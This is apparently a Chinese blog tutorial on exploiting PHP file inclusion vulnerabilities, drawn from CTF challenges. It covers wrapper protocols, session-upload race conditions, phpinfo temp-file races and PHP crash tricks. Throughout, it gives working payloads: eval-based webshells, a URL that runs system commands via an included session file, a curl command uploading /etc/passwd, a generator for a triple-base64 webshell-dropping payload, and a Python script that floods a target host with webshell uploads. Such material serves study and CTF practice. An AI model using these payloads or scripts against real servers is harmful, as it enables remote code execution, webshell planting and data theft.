目录

PHP 文件包含漏洞

PHP 文件包含漏洞

1 相关函数

  • include()
  • include_once()
  • require()
  • require_once()

2 分类

  • 远程文件包含
  • 本地文件包含

3 包含的实现

包含的时候,不一定是要去包含 php 文件(即可执行的 php 文件)

类似于:a.phps、a.xxx、a.jpg 只要文件中包含一块完整 php 代码,例如一个 a.txt,内容为 <?php phpinfo();?>

4 包含的场景

4.1 上传可控文件

  • 比如说我们能够上传图片,那就去传一个带完整 php 代码的图片文件,或者是将代码文件改后缀即可
  • 压缩包,配合伪协议

<?php ?> 过滤的情况:

1
<script language="php">@eval($_POST['a']);</script>

4.2 远程文件包含

4.2.1 条件

allow_url_fopen

本选项激活了 URL 形式的 fopen 封装协议使得可以访问 URL 对象例如文件。默认的封装协议提供用 ftp 和 http 协议来访问远程文件,一些扩展库例如 zlib 可能会注册更多的封装协议。

4.2.2 远程文件包含

[http|https|ftp]://www.bbb.com/shell.txt 若后缀名写死,可以用 ? 绕过

pyload:

1
aaa.com/1.php?a

4.3 伪协议

4.3.1 PHP 归档

  • phar://
  • zip://

DEMO:

http://106.12.37.37/index.php?url=upload

payload:

  • url=zip://a.zip#压缩包内文件名
  • url=phar://a.zip/压缩包内文件名
  • 上传的文件无所谓后缀名,只要是 zip 文件头的文件均可,zip 文件改成 jpg,zip:// 协议仍然可以解析

4.3.2 利用 PHP 流

4.3.2.1 php://filter

元封装器,设计用于数据流打开时的筛选过滤应用。这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、file() 和 file_get_contents(),在数据流内容读取之前没有机会应用其他过滤器。 php://filter 目标使用以下的参数作为它路径的一部分。复合过滤链能够在一个路径上指定。详细使用这些参数可以参考具体范例。

  • ?file=php://filter/read=convert.base64-encode/resource=index.php
  • ?file=php://filter/read=string.toupper|string.rot13/resource=index.php

除此之外,还有:

1
2
3
4
5
6
7
string.toupper                                     //上面有写
string.tolower                                     //转换为小写
string.strip_tags                                  //去除html和php标记,比如<?php?>
convert.base64-encode                              //base64编码
convert.base64-decode                              //base64编码
convert.quoted-printable-encode                    //quoted-printable 转 8bit
convert.quoted-printable-decode                    //同上

DEMO:

http://chinalover.sinaapp.com/web7/index.php

4.3.2.2 php://input
  • 利用条件
    • allow_url_include = On
    • 对 allow_url_fopen 不做要求
    • php://input 可以读取没有处理过的 POST 数据

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20190113170721.png-water_print

Payload:

Url:?key=123&flag=php://input

Post:123

4.4 日志文件

很多时候,web 服务器会将请求写入到日志文件中,比如说 apache 在用户发起请求时,会将请求写入 access error.log。默认情况下,日志保存路径在 /var/log/apache2/

www 用户无权限读取该日志,应用场景有限。

4.5 SESSION

PHP 默认生成的 session 文件往往存放在 /tmp 目录下

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20190113171531.png-water_print

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20210113171551.png-water_print

4.5.1 session 文件

注册一句话用户名,并包含 session 文件http://512ab969d9ce414e9349e459f7bfe9d1b601c9951aa24093.changame.ichunqiu.com/action.php?module=&file=../../../../../../../tmp/SESS/sess_tftrtvb6t089398jjl0p1cdvj7&a=system("cat flag.php");


4.5.2 session.upload

session.upload_progress.enabled 这个参数在 php.ini 默认开启,需要手动配置为 OFF,如果不是 off,就会在上传的过程中生成上传进度文件,它的出现本是为了显示文件在上传时候的进度,以显示文件上传的信息。

它的存储路径可以在 phpinfo 中获取到(如上图)

Demo:

1
2
3
<?php
($_=@_GET['orange']) && @substr(file($_)[0],0,6) === '@<?php' ? include($_) : highlight_file(__FILE__);
?>

这个 session 文件并不一定要 session_start 才能生成,只要往服务器发送一个 Cookie: PHPSESSID=xxx 的值,然后用 session upload 的方式进行上传文件,就会生成这样一个 session 文件

通过 curl 上传文件:

1
curl http://IP/index.php -H 'Cookie:PHPSESSID=iamnotorange' -F 'PHP_SESSION_UPLOAD_PROGRESS=aaa' -F 'file=@/etc/passwd'

这样就可以控制文件名,接下来想办法控制文件内容。

由于文件上传的速度比较快,有时候经常来不及看到保存在 session 文件中的 upload 信息,就会被删除。我们可以上传一个相对比较大的文件,并且条件竞争的方式。来先看一下保存在 session 中的文件内容。

这里构造了一个这样的表单,upload.php

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
<form action="upload.php" method="POST" enctype="multipart/form-data">
 <input type="hidden" name="<?php echo ini_get("session.upload_progress.name"); ?>" value="iamnotorange" />
 <input type="file" name="file1" />
 <input type="file" name="file2" />
 <input type="submit" />
</form>
<?php
session_start();
$name = ini_get('session.upload_progress.name');
$key = ini_get('session.upload_progress.prefix') . $_POST[$name];
var_dump($_SESSION[$key]); 
include '/var/lib/php/sessions/sess_iamnotorange';

然后开个多线程跑几次,就能看到通过条件竞争读出的文件内容:

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20210113221506.png-water_print

可以发现文件中的 upload_progress_ 固定,不可控。

接下来还有一个条件是 substr(file($_)[0],0,6) === '@<?php',想到利用 php 中的伪协议,进行文件内容的修改。

参考:https://www.leavesongs.com/PENETRATION/php-filter-magic.html#_1

base64 的前置知识

base64编码后的字符串集为 [0-9a-zA-Z+/=]

因而在解码的时候遇到这个之外的字符,就会跳过那些字符。只对在此范围内的字符进行解码。

在本例中,_ 作为特殊字符,在 base64 解码时会自动跳过。

所以只要对前面的 upload_progress_ 进行足够多次的解密,就可以使其变成空字符

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
$i = 0 ;
$data = "upload_progress_";
while(true){
    $i += 1;
    $data = base64_decode($data); 
    var_dump($data);
    if($data == ''){
        echo "一共解码了:".$i,"次\n";
        break;
    }
}

通过脚本可以看到,只要三次就可以将前面的内容转换为成空。

但是,由于 base64 是对 4 个字符为一组进行解码。upload_progress_ 并不满足三次解码后允许字符是 4 的倍数(14 个有效字符,要求有效字符至少是 16 个),就会把后面的字符算入填充,从而破坏原有传入的 php 代码。

示例
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
function triple_base64_encode($str){
	return base64_encode(base64_encode(base64_encode($str)));
}
function triple_base64_decode($str){
	return base64_decode(base64_decode(base64_decode($str)));
}
$i = 0 ;
$data = "upload_progress_".triple_base64_encode("<?=\`id\`;>");

echo triple_base64_decode($data);

解码之后的数据是 ?

upload_progress_ZZ 在三次的解码中,第一次解码后留下了四个允许字符hikY,第二次解码没有允许字符,第三次就变成了空。

在这三次中,都是允许字符的数量都是 4 的倍数,这样就不会破坏后面传入的 php 代码。

爆破脚本:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
<?php

$str = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz";
while(true) {
	$i = 0 ;
	$data = "upload_progress_".substr(str_shuffle($str),10,2);
	$s = base64_decode($data);
	$s_length = strlen(preg_replace('|[^a-z0-9A-Z+/]|s', '', $s));
	$ss = base64_decode($s);
	$ss_length = strlen(preg_replace('|[^a-z0-9A-Z+/]|s', '', $ss));
	$sss = base64_decode($ss);
	if($s_length%4==0 && $ss_length%4==0 && $sss=='') {
		echo $data;
		break;
	}
}

对于后面的 php 代码,也有一个要求,就是三次解密中都不能出现 =,因为base64中 = 只能放在编码的最后补位,出现在中间的话,php://filter/convert.base64-decode 流就无法正常解析,就会报错。

对此 oragne 师傅写了个脚本生成这玩意:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
import string
from base64 import b64encode
from random import sample, randint

payload = "@<?php file_put_contents('/tmp/web', '@<?php eval($_GET[1])?>'); ?>"

while 1:
    junk = ''.join(sample(string.ascii_letters, randint(8, 16)))
    x = b64encode(payload + junk)
    xx = b64encode(b64encode(payload + junk))
    xxx = b64encode(b64encode(b64encode(payload + junk)))
    if '=' not in x and '=' not in xx and '=' not in xxx:
        print(xxx)
        break

VVVSM0wyTkhhSGRKUjFwd1lrZFdabU5JVmpCWU1rNTJZbTVTYkdKdVVucExRMk4yWkVjeGQwd3paR3haYVdOelNVTmtRVkJFT1hkaFNFRm5XbGhhYUdKRFoydFlNR1JHVmtaemVGaFRheTlRYVdOd1QzbEJMMUJzVGxGVmEwNUZWbXh3YTFSRk5UTmlNMHB6

4.6 ./ 长文件名截断

payload:?page=phpinfo.txt………………………………………………………………………………………………….. 或page=phpinfo.txt././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././

4.7 phpinfo

向服务器上任意 php 文件以 form-data 式提交请求上传数据时,会生成临时文件,通过 phpinfo 来获取临时文件的路径以及名称,然后临时文件在极短时间被删除的时候,需要竞争时间包含临时文件拿到 webshell

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20190113173316.png-water_print

https://github.com/vulhub/vulhub/blob/master/php/inclusion/exp.py

4.8 PHP 自包含

  • 上传 -> 临时文件
  • 会话结束 -> 删除临时文件
  • phpinfo() -> 临时文件名
  • 中断删除的过程 /a.php?include=a.php 这样 a.php 会将它自身包含进来,而被包含进来的 a.php 再次尝试处理 url 的包含请求时,再次将自己包含进来,形成了无穷递归,递归会导致爆栈,使php无法进行此次请求的后续处理,然后就能进行包含了
  • 自包含,导致 php 停止

demo:

「百度杯」CTF比赛 十二月场 - Blog 进阶版

  • 注册账号,POST 页面存在 insert 型 SQL 注入获取管理员账号
  • 登录 admin 账号,发现 manage 页面下存在包含
  • 利用自包含漏洞,在 tmp 文件夹下上传 webshell

4.9 PHP 崩溃

本地文件包含漏洞可以让 php 包含自身从而导致死循环然后 php 就会崩溃,如果请求中同时存在一个上传文件的请求的话,这个文件就会被保留

include.php?file=php://filter/string.strip_tags/resource=/etc/passwd

  • include.php?file=php://filter/string.strip_tags/resource=/etc/passwd

可以导致 php 在执行过程中 Segment Fault 想到可以利用在本地文件包含漏洞中 之前在网上的分析文章中,本地文件包含漏洞可以让 php 包含自身从而导致死循环 然后 php 就会崩溃 , 如果请求中同时存在一个上传文件的请求的话,这个文件就会被保留

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import requests
import string
import itertools
charset = string.digits + string.letters
host = "192.168.43.155"
port = 80
base_url = "http://%s:%d" % (host, port)
def upload_file_to_include(url, file_content):
    files = {'file': ('evil.jpg', file_content, 'image/jpeg')}
    try:
        response = requests.post(url, files=files)
    except Exception as e:
        print e
def generate_tmp_files():
    webshell_content = '<?php eval($_REQUEST[c]);?>'.encode(
        "base64").strip().encode("base64").strip().encode("base64").strip()
    file_content = '<?php if(file_put_contents("/tmp/ssh_session_HD89q2", base64_decode("%s"))){echo "flag";}?>' % (
        webshell_content)
    phpinfo_url = "%s/include.php?f=php://filter/string.strip_tags/resource=/etc/passwd" % (
        base_url)
    length = 6
    times = len(charset) ** (length / 2)
    for i in xrange(times):
        print "[+] %d / %d" % (i, times)
        upload_file_to_include(phpinfo_url, file_content)
def main():
    generate_tmp_files()
if __name__ == "__main__":
    main()

5 总结

当一个目标存在任意文件包含漏洞的时候,但找不到可以包含的文件,无法 getshell。可以有三种方法:

  1. 借用 phpinfo,包含临时文件来 getshell
  2. 利用 PHP_SESSION_UPLOAD_PROGRESS,包含 session 文件来 getshell
  3. 利用一个可以使 PHP 挂掉的漏洞(如内存漏洞等),使 PHP 停止执行,此时上传的临时文件就没有删除。我们可以爆破缓存文件名来 getshell。